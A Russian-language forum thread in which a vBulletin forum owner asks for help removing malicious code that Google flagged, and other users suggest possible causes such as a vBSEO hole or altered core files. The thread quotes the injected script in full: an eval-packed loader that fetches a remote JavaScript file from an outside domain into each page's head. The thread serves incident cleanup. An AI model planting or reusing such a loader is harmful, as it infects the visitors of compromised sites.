Добрый день!

Вчера Google доложил о возможном вредоносном коде на сайте (форум на vBulletin 4.0.8).

Гугл указывает на ряд ссылок с вредоносным кодом, код везде одинаковый.

Возможный вредоносный код:

<script>eval(function(p,a,c,k,e,r){e=function(c){return c.to
String(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c
]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w
+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)
+'\\b','g'),k[c]);return p}('3 1=4.5(\'6\');1.7=\'8://9-a.b/
c.d.1\';3 2=4.e(\'2\')[0];2.f(1);',16,16,'|js|head|var|docum
ent|createElement|script|src|http|javascript|collection|in|j
query|compatibility|getElementsByTagName|appendChild'.split(
'|'),0,{}))</script>

Везде стоит перед </head>

Поиск по стилям ничего не дал. Как можно его удалить \ побороть?

Прошу помощи в решении данной проблемы.

В модулях поищи

Originally Posted by IRONHiDE

Поиск по стилям ничего не дал. Как можно его удалить \ побороть?

Дай линк на форум. Логи ftp далеко? Проверял дату изменения файлов на хостинге?

Originally Posted by IRONHiDE

(форум на vBulletin 4.0.8)

похоже это эпидемия
vBSEO установлен?
дыры там
возможно изменены файлы функций
functions.php и/или global.php
устранить дыру в недосео + заменить все файлы на сервере на новые из дистрибутива

http://forum.hellywood.ru/forum.php - линк на форум.

Originally Posted by Orfo

В модулях поищи

Где и что именно?

Originally Posted by Smalesh

Логи ftp далеко?

Не нашел. =\

Originally Posted by Smalesh

Проверял дату изменения файлов на хостинге?

Проверял, все файлы, которые были изменены в ближайшие несколько дней были заменены оригинальными.

Originally Posted by kerk

vBSEO установлен?
дыры там
возможно изменены файлы функций
functions.php и/или global.php
устранить дыру в недосео + заменить все файлы на сервере на новые из дистрибутива

Да, установлен.
Можно подробней про functions.php и global.php?
Что именно там искать, да и возможно ли чтобы там что-то накручено было, если они изменены аж в прошлом году, судя по дате последнего изменения.

И точно ли дело в в vBSEO? Я вот грешу на [DBTech] AJAX Threads, после его установки такое началось.

Originally Posted by IRONHiDE

точно ли дело в в vBSEO?

https://www.google.com/search?source....,cf.osb&cad=b